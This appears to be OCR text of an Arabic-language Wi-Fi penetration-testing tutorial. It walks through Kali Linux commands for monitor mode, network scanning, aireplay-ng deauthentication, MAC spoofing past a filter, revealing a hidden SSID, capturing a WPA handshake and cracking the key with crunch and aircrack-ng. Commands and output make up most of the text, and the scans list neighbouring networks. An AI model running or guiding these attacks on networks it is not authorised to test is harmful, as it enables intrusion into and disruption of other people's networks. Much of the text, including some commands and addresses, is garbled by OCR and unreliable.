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Kali Linux s Windows 10 Pro
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BN Select Command Prompt
Nireless LAN adapter Wi-Fi:

Connection-specific DNS Suffix . : TL-WA8S5@RE |
Link-local IPvé Address . . . . 1 fe80: W i e

IPv4 Address. . . . . . 192 N \u.w
Subnet Mask . . . . . : 255.255,255.8
Default Gateway . . . . . . . . . : 192.168.1.1
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TP-LINK"

Quick Interface Advanced Access Status Hel
Maintenance Start Setup Setup Management P

150Mbps Wireless N ADSL2+ Modem Router

Administrator

Username : admin
New Password :
Confirm Password :
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TP-LINK"®

o) JAI A LSy 5 ) sy

150Mbps Wireless N ADSL2+ Modem Router

Quick Advanced Access -
m - & S S S -
Multiple SSIDs Settings
SSID Index 1 v
Broadcast SSID : Yes (® No
Use QSS : (@) Yes No
Qss Settings
QSS state : Configured
QSS mode : PIN code (& PBC
Start QSS
QSS progress : ldle
Reset to OOB
SSID : | testme
Authentication Type : | WPA-PSK ~

Encryption :

Pre-Shared Key

TKIP/AES ~
07906824258
" hexadecimal characters)

(8~63 ASCII characters or 64

i
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TP-LINK"®
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150Mbps Wireless N ADSL2+ Modem Router

Quick Advanced Access Maintenance Status Help
Interface Start Setup Management
Access Point Settings
Access Point © (@ Activated Deactivated
Channel : | UNITED STATES ~ | Auto ~ Current Channel: |4
Transmit Power : | High ~
Beacon Interval(ms) : | 100 (range: 20~1000)
RTS/CTS Threshold - | 2347 (range: 1500~2347)
Th';g’:ﬁ"c"l‘g(“;a“‘:;’; 2346 (range: 256~2346, even numbers only)
DTIM(ms) - [ 1 (range: 1~255)
Wireless Mode : | 802.11b+g+n ~
Channel Bandwidth : [ 20/40 MHz
Extension Channel : | above the control channel
Guard Interval : | AUTO -
MCS [ AUTO ~
Muitiple SSIDs Settings
SSID Index [ 1~
Broadcast SSID Yes @& No
Use QSS © @ ves No
- . s . ~ S » d - . dﬁ - . - . e
s WPA dald YA e 4SO a<uilly Lty By (e L@SJ&AE)SAJ})AMSC‘AJJ.\S@ °
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T p - LI N KF 150Mbps Wireless N ADSL2+ Modem Router

Quick Advanced Access

Start Setup Management Maintenance  Status Help

Interface

Multiple $SIDs Settings

SSIDIndex | 1 w
Broadcast SSID - Yes @NO
Use QSS: (@) Yes () No

QSS Settings
QSS state - Configured
Qss mode : () PIN code ® PBC
Start QSS

QSS progress : Idle
Reset to OOB
SSID : | testme
Authentication Type ;| WPA-PSK v

Encryption ;| TKIP/AES
07906824258 (8~63 ASCII characters or 64

Pre-Shared Key :
hexadecimal characters)
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TP-LINK"

Interface

ireless MAC Address Filter

Quick
Start

WDS Mode

WDS Encryption Type

WDS Key

Mac Address #1
Mac Address #2
Mac Address #3
Mac Address #4

150Mbps Wireless N ADSL2+ Modem Router

Advanced Access .
Setup Management Maintenance Status Help
on @ off

TKIP v

(8~63 ASCII characters or 64
hexadecimal characters)
00:00:00:00:00:00
00:00:00:00:00:00
00:00:00:00:00:00
00:00:00:00:00:00

Active

Action
Mac Address #1
Mac Address #2
Mac Address #3
Mac Address #4
Mac Address #5
Mac Address #6
Mac Address #/
Mac Address #8

OAclivated @ Deactivated
| Allow Association v the follow Wireless LAN station(s) association

| 00-:00:00:00:00:00
| 00:00:00:00:00:00
| 00:00:00:00:00:00
[ 00:00:00:00:00:00
00:00:00:00:00:00
00:00:00:00:00:00
00:00:00:00:00:00
00:00:00:00:00:00

SIS A8 Alen 8 2k 35 30 Slea e (Firewall) o sl duals Qo ey o
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TP-LINK®

Advanced

Quick
Start

Interface
Setup

SYN Floodong, DOS Jis 44 5 jaall Cilangll &1 531 (amy (1

150Mbps Wireless N ADSL2+ Modem Router

Access

Management Maintenance  Status Help

Firewall - (@ Enabled ) Disabled

SPi

(WARNING: If you enabled Firewall, the modem can block such attack:Denial of Service,
SYN Flooding, Ping of Death, TearDrop...eic)

Enabled (® Disabled

(WARNING: If you enabled SPI, all traffics initiated from WAN would be blocked, including
DMZ, Virtual Server, and ACL WAN side )

SAVE | CANCEL
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VMware Jie dual 58Y1 5 jea¥) e o sas) e Kali linux duadill oUas Jy i o 685 o) liSay @
Sle Gis JSh Kali linux pUas Jo i el ) Wale | s il g JLhas Jiadd oUas alaai)
e i) Kali Linux i) ai S 5 ol Qi ol e g 5m & jlen o o e
Audall oda A VMware dass

aladind (e ) @ lea 8 USB dlie ) YA e dliags o)l SLY 4SS @S Nl zlias o
<l shall 3wl Monitor Mode ' Managed Mode ¢ 4ills Jasail dalall s ala & S
Monitor I J sail) ddee ac a3 Y o g3 3 eal A dulalal) AL el Qale) ) Eua 283U
Mode

=

48 pie U VMware o ¢ SE & Slear ush Jaae A wireless ush @S dana il 2y o
Alaall AL AEl au g S ale) () SN )JS.&S\ * WS connected ! G S e

B Ubuntu (1) - VMware Workstation

File Edit View VM Tabs Help I~ & O @ 9 [0 B O ¥ -
R R L
>

~ O Power I

» Ubuntu (1) (&5 Removable Devices CD/DVD (SATA) 2t

Pause Ctrl+Shift+P ~ Network Adapter >
d < Send Ctrl+Alt+Del Printer >
Grab Input Ctrl+G ~ Sound Card >
SSH > Realtek Integrated_Webcam_HD >
[[3 Snapshot > Qualcomm Atheros USB2.0 WLAN > Connect (Disconnect from Host)
Capture Screen Ctrl+Alt+PrtScn Broadcom 5880 > Change Icon...
&2 Manage > Shared Broadcom Corp Contactless SmartCard 0 > ‘& Show in Status Bar
Shared Broadcom Corp Contacted SmartCard 0 >

Reinstall VMware Tools..

7 Settings... Ctrl+D

2 ghadlly o J gem 5 A wireless OV < S Gl Y G i e
HAaddl) el oY) 2 (terminal) oUall A el ol 338U (g o)
iladl aaall wireless @S e ajad Slad Sleadl OIS o) con 3 1Y) 25 iwconfig >
i 3 1368 ana 5 slial Wil aé 5 selay ol o (ST WIAN0 s 3302l dassl el s
e adiiid Jade e 43S 4Ll a3 Slad 43
& ol (STl yid jweonfig <Y IS (e s A1 5 e asii o3 [fconfig wlan0 up >
managed g

(G} Ubuntu (1) - VMware Workstation
File Edit View VM Tabs Help [l ~ & © @ £ [ 23 O Y [c

[ Ubuntu )

| = e ) =g | I:] [root@kali: ~ root@kali: ~

File Actions Edit View Help

root@kali: ~ >

:~# iwconfig
no wireless extensions.

no wireless extensions.

IEEE 802.11 ESSID:off/any

Mode:Managed Access Point: Not-Associated Tx-Power=0 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off

Power Management:off

|




airmon-ng start wlan0  _<¥ & o g monitor () 4xa s I3 >

,_E,'J upunu (1) - viviware vworkstauon
Fle Edit View WM Tbs Hep ||~ & O @ 2 [ B O N [~

fi Ubuntu (1)

(= lil [root@kali: ~] ) root@kali: ~

root@kali: ~

File Actions Edit View Help

root@kali: ~ x

:~# airmon-ng start wlan@

PHY Interface Driver Chipset
phy3 wlano ath9k_htc Qualcomm Atheros Communications TP-Link TL-WN322G v3 / TL-WN422G v2 802.11g [Atheros AR9271]

(mac80211 monitor mode vif enabled for [phy3]wlan® on [phy3]wlan@mon)
(mac80211 station mode vif disabled for [phy3]wlane)

= |

O ey Qg a5 ) dalay cililee dla o)) iz 1368 Monitor ) dasadll dolee ai ol 1)

A Bya Gl Jygadll jal 3dE 3wl & airmon-ng check  Kill <Y da

wlan0mon 4wl mual Lil wlan0 asb S &l jeday ot iweonfig <Y1 6 oY) >

L upunwu (1) - viviware vvorKstauon

File Edit View VM Tabs Help |l ~ & © @ o [J EH O

[ Ubuntu (1)

| e i) = | |:| [root@kali: ~] root@kali: ~

File Actions Edit View Help
root@kali: ~ x

:~# iwconfig
etho no wireless extensions.

wlan@mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off

no wireless extensions.

e |

9o Y Lehalall U Sl paldl) ASWEN & S aodaien Al access points JS gase w5 >



smac Jie Lelualdiy ClSullly 4l ol jelain airodump-ng wlanOmon
..... W e s BSSID 5 ESSID 5 channels

root@kali: ~

File Actions Edit ¢ Help

root@kali: ~

:~# airodump-ng wlan@mon

root@kali: ~
File Actions Edit

root@kali: ~

CH 1 ][ Elapsed: 6 s ][ 2023-01-28 12:10

BSSID PWR Beacons  #Data, #/s MB  ENC CIPHER AUTH ESSID
64:70:02:DD:43:33 -45 1 135 WPA CCMP PSK testme
EEENRENNN7 :B5:CF -55 130 WPA2 CCMP  PSK isam_callu
R 7:D9:01:80 -69 65 WPA2 CCMP PSK isam_callu
GENEN: 11:DE:EA:08 -79 270 WPA2 CCMP  PSK imad

U A 67:4C:7E -79 130 WPA2 CCMP  PSK Wifi.3

BSSID STATION Lost Frames Probe

[1]+ Stopped airodump-ng wlan@mon
1~#

Al e el pase e Gl CTRLAZ iliall Aa gl (0 Jasia

GLbadl & s &y g,_“d\} W adalall AP lsau g Leayiil L gocess point L) a i oY 3>
A e Lgie daalall g Ledl daalal)
airodump-ng --bssid 15 A b g (uasY) 03¢ paldl) dlall 8, --channel
Wy i Al Sy g3 (umsYL Qaldd) LY 28, wlanOmon

Actions Edit Viev Help
root@kali: ~

# airodump-ng —bssid 64:7@:02:DD:43:33 —channel 2 wlan@mon]]

File Actions Edit View Help
root@kali: ~ x

CH 2 ][ Elapsed: 18 s ][ 2023-01-28 12:20

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
64:70:02:DD:43:33 -20 100 202 4 0 2 135 WPA CCMP PSK testme
BSSID STATION PWR  Rate Lost Frames Probe

64:70:02:DD:43:33 34:F3: R 09:1E -22 0 - 6e 0 35

[1]+ Stopped airodump-ng —bssid 64:70:02:DD:43:33 --channel 2 wlan@mon
8




S adl Laall Jleal) sa (Essid:testme) 4uill oda e Jaaidll am ) Slead) o)) o3le) L3LAN & Jaadls
4 =lall MAC Address 4 jae Lakainl Lay 5 jaay) ¢l

SVl (o iy yaasni€Y) 343 Shaal Joiall 5 e Jans 31 Slead) Jomi 25 Y1 >
aireplay-ng -0 Adejall ajalldie g CulygaansOU dlall a8, ¢ Slgadl 13gd dlall a3
wlanOmon

root@Kkali: ~

:~# aireplay-ng -0 600 -a 64:70:02:DD:43:33 -c 34:F3:9A:01:09:1E wlan@mon[]

e 600 (e Aaely (AL Jaaiall 5 Guaall (ua) @llally 23all) Sleadl 138 (31 el o gdin Wl jeY) 18 Jiag
Dol AL m ge g8 LS JLaiDl 18l Sleadl 138 Ay o) () sagee Jull g Qllall & 3a

B Ubuntu (1) - VMwace Workstation -0 X

Fe tt View W Tbs Hp |l § O QR DETH M O

» Ubuntu (1)

"o direct input to this VM, move the mouse pointer inside or pross CireG.

CTRLAZ (e Lually oY) e el Sl p5all o ol sl 138 o pna GG
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Kali Linux



sdadal) gaudas

- ] X

s8is Monitor Mode A 2 JI ke (oo )il SLuOU ASEl & S G Al ddeall Adall lels o
olial 3 ol e¥) YA e Managed Mode (& 5 dsal iyl aills M aels b

File Actions Edit View Help

root@kali: ~

:~# airmon-ng stop wlan@mon]]

W Cw iweonfig 4l dudall 8 L e g2l Y1 (4 (Managed Mode 43) <lls (e SUll @
:JSil) S LS wlan0 ' wlanomon (s 4wl a3 43l s Managed Mode (& el Slad )

File Actions Edit View Help
root@kali: ~ 1%

:~# iwconfig
no wireless extensions.

IEEE 802.11 ESSID:off/any

Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off

Power Management:off

no wireless extensions.

:~#

ASLLA Al & S el Al MAC O sie 48 yral olia) JSGE) L; Cadl Y PRENE
(4,31:: Clazd gﬂ\ @J&\)é\;ﬁ\

root@kali: ~
Actions Edit View Help
root@kali: ~

:~# ifconfig wlanof]




olial JS3) LS ekl o

root@kali: ~

lp

He
root@kali: ~ =

:~# ifconfig wlan@
wlan®: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether 12:fc:27:cl:4c:a8 txqueuelen 1@@@ (Ethernet)
packets bytes 0.0 B
errors dropped overruns frame
packets ® bytes @ (0.0 B)
errors dropped overruns carrier collisions

e |

2ol &N A el e¥) J3A e Monitor Mode () 4l gadsalel o giin oY1 @

Help
root@kali: ~

:~# airmon-ng start wlano]]

Y JBA (e Lgdaldl) U jleas alAd) ASE) & S ety Al access points IS pa e asiie @
: mufwbbd\ﬁ\&@aﬂ\

root@kali: ~

root@kali: ~

:~# airodump-ng wlan@mon

File Actions Edit View Help
root@kali: ~

CH 2 ][ Elapsed: 18 s ][ 2023-01-28 12:20

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
64:70:02:DD:43:33 -20 100 202 4 0 2 135 WPA CCMP PSK testme
BSSID STATION PWR  Rate Lost Frames Probe

64:70:02:DD:43:33 34:F3: R 09:1E -22 0 - 6e 0 35

[1]+ Stopped airodump-ng —bssid 64:70:02:DD:43:33 —-channel 2 wlan@mon
#




Adatdl MAC Onslie aiiSiu g W dalall AP ldiu g Lexatil L gccess point oialn oYl e
tomall YT A e (3380 s A sl (o sliall) e L

root@kali: ~

:~# airodump-ng —bssid 64:70:82:DD:43:33 —channel 2 wlan@mon]]

root@kali: ~
File Actions Edit
root@kali: ~

CH 9 ][ Elapsed: 1[ 2023-01-28 13:23
CIPHER AUTH ESSID

0
k4

Beacons #Data, #/s

ccmpP PSK testme

ccMP  PSK isaﬂu
ccmp PSK isam| u
ccmpP PSK Wi .3

ccmpP PSK im

ccmpP PSK Sh3jfab Law
ccmpP PSK < gth: o>
ccmpP PSK 3] si

Ci, t(Mogpara)
c t.Gref2(0599389899)

:@2:DD:43: 85
= H is
3
14

59959959868
B
OOVRUNRKEORKEN

OO0 OOOON

-91

STATION Rate Frames Probe

i

64:70:02:DD:43: 34:F3:9A:01:09:1E -30 8 —1e 7 testme
D8:07:B6:37:B5: 00:08:22:D0:90:F8 -55 (- B | 1
18:D6:C7:D9:01: DA:07:B6:07:B5:CF -47 @ - @e is

[2]+ Stopped airodump-ng wlan@mon
e

sl Sleall dlld MAC ol sie ) oo i) i€es & S5 (alall MAC Ol sie pss < ghady o o

Managed ' 4=ls_ls Monitor Mode <ilay) el luis Eua (Lia¥) o5l Jilaall) 4,

s daa pall g dualall o8 dolay 3 Dpe AL el W) DA e Lty J el Gl (e 2SUN 5 Modle
L) J<l)

root@kali: ~
Actions Edit View
root@ka
:~# airmon-ng stop wlan@mon
PHY Interface Driver Chipset

phy1 wlan@mon ath9k_htc Qualcomm Atheros Communications TP-Link TL-WN322G v3 / TL-WN422G v2 80
2.11g [Atheros AR9271]

(mac80211 station mode vif enabled on [phyllwlane)
(mac80211 monitor mode vif disabled for [phyillwlan®@mon)

:~# iwconfig
no wireless extensions.

IEEE 802.11 ESSID:off/any

Mode :Managed Access Point: Not-Associated Tx—-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off

Power Management:off

no wireless extensions.

e

sCmall e JMA (pa L 0 A0 8y Joo g @

root@kali: ~
! File Actions Edit

root@kali: ~

:~# ifconfig wlan® down




JSal) 3 LS Jaaiall Sleall MAC o) sie ) Uy 48080 dUay (alall MAC o) sie jais el diie o
;aUJ\
Actions Edit View Help
root@kali: ~ =

:~# ifconfig wlaneo hw ether 30:F~:99:1E

5Ll 5y guaall 8 yal sY) ot Lild Lilad Ly (il MAC i 38 4808 28y ) oSN Jal g 1 3) @

root@kali: ~

File Actions Edit View Help

root@kali: ~

# ifconfig wlan@ up

root@kali: ~

# ifconfig wlane
flags=4098<BROADCAST ,MULTICAST> mtu 1500
ether 34:JgEl1:09:1e txqueuelen 1000 (Ethernet)
RX packets © bytes © (0.0 B)
RX errors © dropped © overruns 0 frame ©
TX packets © bytes © (0.0 B)
TX errors © dropped © overruns © carrier © collisions ©

Juai¥ ) 4%as5 e MAC o3l Jatie MAC o) sie llas Ly pala)) 3% &S manal () @
AL A

Sle Wl e mual Sl MAC ol sie calia (Windows 4de cuidl) idall dlea o) Ja 5 o
S fa AN 2l (alill MAC o sie s salel ) Aalay elilh RS0 @i b JuasV)
rolial JSal) 8 Rl el ) JSA (e Lo il sic

Actions Edit Vieww Help
root@kaliz ~ >
:—~# dAfconfig wlan® down|]
root@Kau: ~
File Actions Edit View Help
root@kali: ~ %

# macchanger -p wlan®
: !

Current MAC: 34: :09:1e (unknown)
Permanent MAC: 54:e6:fc:92:87:b9 (TP-LINK TECHNOLOGIES CO., LTD.)
New MAC: 54:e6:fc:92:87:b9 (TP-LINK TECHNOLOGIES CO., LTD.)

# 1

Dol JuadS dmi ol ey @



dag) ) Alaadl ddal)
Deauthentication Attack Penetration Test
((Disabled ESSID Broadcasting)aiiall ciluil) ciLiisy d8sbaall o ga2)

ddal) Cla g

il sla) o oAl (e Leiliead RSLSY lSudl) b Gadai ) Aied) a5l (e
dulall 4 Uea e WS (ESSID Broadcasting off) 33ea¥ e ASLudll 2051 (o yza
RREEPY g 4 Adasall KLU sl Caliassy s ey PgLT Sleall o) ”LLAS\ Cad, A oY)
dapia g o3 LS el (Say Al ddlaa) i) Silel a¥) ey L Juail o gl Lgia Baal g
cuall Heday by ( ESSID Broadcasting ASluSll ASuall ) gall ol ¢ Lo ¢lad] o3y )
uﬂ\eﬁaumu\n& @LFJMY\MLJM\ \&eﬂggﬂ\.kss)\.@aj\@\hugup‘_g
A (e dde Anddal) AL KA LY Ledls g 5 anleall Lgeaiiog Al Gkl saal e
Jiail Juadl 4nrding 3 5 (Deauthentication Attack) e x4l o 4l o saa JDlain
AP J dsbasdl Gl 238 o) 2a 5 )A) 3 e Lgae allail sale] g 4SO AS0EN 8 Lo Slea
O pasadl o) Gaolall (5 e 83 ASWll (alall ESSID SLiisY aalgall Lot i Al
Auleall s Lewiad] ) YY) el Jie 35 Callad e Caaill ol 3R Y Jlaal o dal) ks

Ll s g

Ladad) Ciaal

a2 s ESSID 5 MAC i Ld 48 jaall Lgilily g ol damall KLU CASLE (s jal ) (Gala
Agiall AL Sl e Cayall

MACJSAL@J:\J‘)’.A\ L@A\A@JMB&&GL&M BJ&M” . :’.M Aall 3 jealy) e e sl gl ’"944.&4“ ¥
AN (e allail Juadl 2aas Slead Deauthentication 285 sl o) (gadas

Al A5 ledal gkt

dada) Gt b addiesal) Jadil) HUSS

Kali Linux



shuadad) (Gauda
el m i ASLUS) A8 ol 1Y) Adall 3 AL ALl (lisY) Adae bt e alaie) o

aludall 4 @ e Gl dd phll sy Monitor Mode ) ea )il A3l & K danin g sty o 58 @
-l e A LS :ts.ﬁ.a.n]\

root@kali: ~

File Actions Edit View Help
root@kali: ~ x

# airmon-ng start wlanof

iwconfig _<¥! a2aius Monitor Mode gea s Jadlly mual & SU () (e 2SEL o

root@kali: ~
File Actions Edit View
root@kali: ~

Help
>
:~# idwconfig
no wireless extensions.
no wireless extensions.
wlLan@mon IEEE 802.11 Mode:Monitor Frequency:2.417 GHz Tx—Power=20 dBm
Retry short 1limit:7 RTS thr:off Fragment thr:off

Power Management:off

-~

DAY A e Ll U jlean palAd) ASE) & S ety Al access points S pa a asiie @
: Wufwnbj\d&ﬂ\‘“ﬁc_mﬂ\

root@kali: ~
File Actions Edit View Help
root@kali: ~ 1%

# airodump-ng wlan@mon]




@5 length: 0 s» LI ESSID <ilSulll oda (saal Gl s Lelualds 4SO S0l Mad el
0B (e 98 LS (ESSID Broadcasting is disabled) dusae 48l o8 o Ju

root@kali: ~
File Actions Edit View Help
root@kali: ~

CH 8 ][ Elapsed: 12 s ][ 2023-01-29 11:56

BSSID PWR Beacons #Data, #/s MB CIPHER AUTH ESSID

170:02:8D:43: -39 135 cCcmpP PSK <length: o>

-56 65 CCMP  PSK  isipgml lu
. -52 130 CcMP PSK  islipggmlilu
:ce: . -77 130 CCMP  PSK VENi.3
68:59: H -84 270 ccMp PSK i
8C:7A: Z -85 130 CCMP  PSK

BSSID STATION Lost Frames Probe

18:D6:C7:D9:01:80 :03: 106: 19

D8:07:B6:37:B5:CF :9F:5E:88:B5: 10 i~.u

Sl 25 5 L Gl MAC b cilily alaialy 4,80 o3 e (Sniffing) <ol o siis 3Y)
oLl e 3t LS ilas L o (5301 a¥) JSIA (pa g

root@kali: ~
File Actic
root@kali: ~

# airodump-ng —bssid 64:70:02:DD:43:33 —channel 1 wlan@mon]]

(Aol a2 & (Windows) sl Ul s 5) Lo daaie JBYI e Sl 2 g 4l o Al
0 LS 4 il MAC Ol sie sedays

File Actions Edit View Help

root@kali: ~

CH 1 ][ Elapsed: 2 mins ][ 2023-01-29 12:07 ][ fixed channel wlan@mon: 3

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

64:70:02:DD:43:33 -25 0 34 2 @ 1 135 WPA CCMP PSK <length:

BSSID STATION PWR Rate Lost Frames Probe

64:70:02:DD:43:33 34:F3:90ml: 1E -30 0 - 6e 0 4




A8 g 4Balan iy Lol Ll AS0EN aa leal sana Juad) ddee L&) ) dalay i oY) @
llaia) ge s Juaty Sysh HUSEYI e Yoy 13 AL alall ESSID iy Leie ol
4 palall MAC Ol sie Laaa 3 s)daaiall Sleald) Juai) adaiy s Stal aaa Jhail oy Y ()
LYY DA (g Lgr palall ESSID LY Lgxe aa (g allai) sale ) 5 Al pe (Rl 5 shadlly
oLl )Y J3A 1« Deauthentication Attack cems e 138 5 4S00l1 x4l d8abaal) sale ) Sl (0
2Adled A8,U) AL clail) Caldsin) 43LE e ey &= (Terminal) s ! ) s =

aireplay-ng -0 1 -a chsmuuSUdlalial; ¢ jlgal) 1igd duadl a8, wlanOmon

Actions Edit View Help
root@kali: ~

:~# aireplay-ng -0 1 -a 64:70:02:DD:43:33 -c 34: NEEEEEEEERO:1E wlanemon]]

ol ra e s LaS Al ASLLOU AL ESSID W ek 43) o dagiill o

Actions Edit View Help
root@kali: ~ =

][ Elapsed: 12 mins ][ 2023-01-29 12:09

(]
-4

PWR Beacons #Data, #/s MB CIPHER AUTH ESSID
-24 456 11
-49 230 p
-68 217 957
=79 145
-B6 29
-B6 30
-83 101
-68 5]
-68 @
-69 5]

135 CCMP PSK <length: >

130 CCMP PSK i callu

65 CCMP PSK disaglcallu

130 CCMP PSK Wifff.3

130 CCMP PSK Sharab Law

270 CCMP PSK imdd

270 Ci et(Mogpara)
-1 <length: &>

-1 <length: @>

-1 <length: @>

R
RRRORRBOR R

STATION Lost Frames Probe

kol
1)
-+
m

3¢ NN : 1E : 0 16 testme

12:9F:5E:BB:B5:8F iuu

BE:8BC:AB8:F7:62:5F 1




Lwall) Alen) Ll

(Lol clals (3 530 Lads) Dictionary Attack Penetration Test

ddal) Ciua g

L ST a5 ye Al Lglen g LKL Sl Aland a2t 3 Aasl) anlidl (e
5 3ea ) (g aolal) JLas¥) (5 ASREIL JLai¥] (po 03y 3 pal) SIS s 1 A gl 3 562 Y)
LY Cpaaleall Ji (e pasiud Al @)kl gasl e ol ds Audall sda 8 @l lae
A (e AL Jlat¥) (e agh et oSl Lgaladin) Al g 2L GIGEN g e SllS
\Wireshark gt _» aladiul AEN )5 ye 4alS aeat] 33U L3l sina 36l 8 5 p adl auis L)
28 bl e cajatll () @)Y HLaa) ga Al Gt e ajall O el (g 0 de ST

Ll Galy Lo dglaadl 5 Leiarl GBI 5AN) s Jia

ddal) Calaa

e s ESSID s MAC Jie Led 48 yrall Lealily 5 ¢l Aayaall ASLO SN (m je el ) (gaka
MAC Jie e 48 pall Lgillyy 5 dpma L8 o 5 )lide 4800y Abaial) 3 jga¥) (e je el ) ke
A 3 AP 5L Jlea o Aokl (Packet SNffing) bl o s aadis aii a5l Gl

.(Synk Packet) 4ol aa Sleall drbadll da ja Laliill el gl (galas

Wireshark gt J3a (e Ll sine (al painl 5 Cala (b o jadl LlEaY) ) 5 (Gaaas
.(Password Dictionary) 821se Cildual sa ) 5 ye CilalS 2016, Cale oL el 5l (Gaadad
Al g e 4alS LSl (Dictionary Attack) os <@l a gaa el 5) (galdas

rdoada) gaadat B addlial) Jaadill) aUAS

Kali Linux



sdudal) gl

&+ rx

aladall & & ye Al Ay Skl i Monitor Mode ) 2 o) 4l & Sdmias pahiasti o
-l e A LS :ts.ﬁ.a.n]\

root@kali: ~

File Actions Edit View Help
root@kali: ~

:~# airmon-ng start wlanofj

iwconfig _<¥! a2aius Monitor Mode gea s Jadlly mual & SU () (e 2SET o

root@kali: ~
File Actions Edit View

root@kali: ~

Help
>
3 iyconfig _
no wireless extensions.
no wireless extensions.
wlLan@mon IEEE 802.11 Mode:Monitor Frequency:2.417 GHz Tx—Power=20 dBm

Retry short 1limit:7 RTS thr:off Fragment thr:off
Power Management:off

. |

DAY A e Ldaldll Ul aldl) 30N & S ki 1) access points JS g yxs psiin o
: Wufwnbj\d&ﬂ\‘“ﬁc_mﬂ\

root@kali: ~
File Actions Edit View Help
root@kali: ~ 1%

# airodump-ng wlan@mon]




Leluald § LKL Sl Slad yedall o

I » UDuntu (1)

E mamr)= root@kali: -

File Actions Edit View

root@kali: ~

CH 4 ][ Elapsed: 18 s ][ 2021-07-17 ©3:35
PWR Beacons #Data, #/s CIPHER AUTH ESSID

-46
-69
-77
-81
-81
-82
-85
-85
-86
-87
-88
-88
-88
-89
-94

ccmp PSK iPhone
TEST
TEST

structions

SOONOOOOOOOORKS
0000000000000 60

NUPRWONNW

STATION

(not associated)
(not associated)

(o Lo danlll g Ll A Al i) 3a w53 Al 5 W Aalal) gecess point Jkisl b i oY) e
(SN 8 LS ALl sl 8 Line e ) ¥ JIA (e L aldl MAC ol sie I

# airodump-ng —bssid 6E:27:7C:F6:7D:5B —channel 11 wlan@mon ]

o3 Jomial) m gl lgall) Aipaall sL 28 5 e 5 48050 03g Alaial) 5 3ga¥) (a e b 4a¥) la il @
(2 =RIMAC Olsie IS (e slial JRAIL (el 5 sl U Jlea 5o 3S0G

Fle Edit View VM Tabs Hep |~ & © @ 2 [0 H O N

[[}! Ubuntu (1)

k; [ - -l_ '-| [:l root@kali: ~

File Actions Edit View Help

root@kali: ~ x

][ Elapsed: 30 s ][ 2021-07-17 03:37

PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

:7C:F6:7D:58 -51 75 310 10 @ 11 130 WPA2 CCMP  PSK iPhone

STATION PWR Rate Lost Frames Probe
:7C:F6:7D:58 34: RO : 1 -17 0 - 6e 112
= |




e Jomial ity €Y1 5 Uiy aldl Slaad) oy o3 53 (3l o 5l i it o) 35 W)
Taial) 53 o3 Gl a5 Wit i) g () ALl CLulall d line o 31 W) i g8
oY) a4

airodump-ng --bssid 4 (Al b g Qs 03¢z aldd) dlall B --channel 3UY a8,
L AN @l gy unsL el —-write o bwas cilall awd - wlanOmon

2l e @ WS

:~# airodump-ng —bssid 6E:27:7C:F6:7D:5B]—channel 11 —write Desktop/aaa wlan@mon

i 2aa anb Sl mdan e Cale ol 5 30l Jaaital) Sleall lily e Gildl Y1 &L o
bl ) geall (A (e s LS A0l 5 Slead) G Adaliiall o jall S5 Ladiag 5 Jaoy

P Ubuntu (1) - VMware Workstation Fle Edit View VM Tabs Hep |l~ & O @ @

- & o@a DEION &~ .unmm

file Edit View VM Tabs Help

[ Ubuntu (1)

root@kali: ~ L

CH 11 ][ Elapsed: 6 s ][ 2021-07-17 03:44

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
6E:27:7C:F6:7D:58 ~-43 100 73 0 9 11 130 WPA2 COMP PSK iPhone
BSSID STATION PWR  Rate Lost Frames Probe

6E:27:7C: ) 34:F3:9A E -18 @ - 6e L] 1e

320 Y (S] Calally Lebiansi elgdl 5 o 3all auii S CTRLAZ padind Al ludall 8 las jo leSé 0
Gy (5 5a3 Qf“\.\\ dndliadll da s s Handshaking Packet A blas) oS5 A1 A sl sda (e
o)zl O 1) Al gl Ja) e Juaty) Al die o5 ABabaal) ) alad LSy AS0E 5 Slead) (g ABaball
Aailimal) o 285 Al gl Ladie, 50 2n (o Alluatly Slead) sl gy o g Lild 4
il sl oW1 LSy il g il 3 gt Ja s Uil Ll iny 1368 (L) (S 8 L) cuc
:CTRL+Z & (e p

[ Uunw (1) - viware workstauon S
file Edt View VM Tabs Hep ||+ & © @ @ [0 HON (¥l
[T ubuntu (1)

8
ﬁ iPhone

Connected, secured

STATION

34:F3:9A1




© eV IR Cpa lld g Cala b (L spall LS e gald) 5 yal) el el sLil 3y i V) @
Chrunch ) 4 Al i) ol Jiag ad )y ped) 4l AT le W) aall Jiay o
el A LA -0 4o e ) LS A8 Lada g 5L 2y 53 53] Calal)
-l
Chrunch 1 4 012ab -o Desktop/test.txt
Mia yuall QLS e 220 (5 yis Calall o2a Liadd ol
1
2
A
21
21a
Aaaa
Ba2l

CE 4 e el 558 0y T om B LA 2o RS (5 55 s D012 SLAD e (55 ol

yﬁ“u&&@b}\n& ;LLYMJAY\M oYl

J) Al Agall g jal) Aal€) 48 LeSlai il iy g0 oYL Galall 5 el AalS ) 5 Calall i) (Y1 o
adzia) g Cion A Mie Cild) 134 b oS g & 4Ll o8 (sI(Wifi

[Tt Whpaswnitus L)




u&\géjjfwgﬁﬁ\ﬁprJ\SJM\géM|JAY\JML}AJJJA\&QE‘)‘&&\):\S‘ °
o soalhall Aagill o g pel) AalS o) ol gaa bl o sl JalEl) cala (8 2 sa e 98 e pa gl
LAJ‘E‘)}A“

g Ubuntu (1) - VMware Workstation

File Edit View VM Tabs Help ||~ & O @ £ [JH O

[ Ubuntu (1)
[ ]| i:] root@Kkali: ~
@ Ubuntu (1) - VMware Workstation

Fle Edit View VM Tabs Hep I~ & O @ 2 DEDTN [
Edit View Help }

root@kali: ~ x » Ubuntu (1)

:~# aircrack-ng -w/root/Desktop/t.text /root/Desktop/aaa-02.cap

Afrcrack-ng 1.5.2
[00:00:00] 3/1 keys tested (214.38 k/s)
Time left: @ seconds
KEY FOUND! [ 12 ]

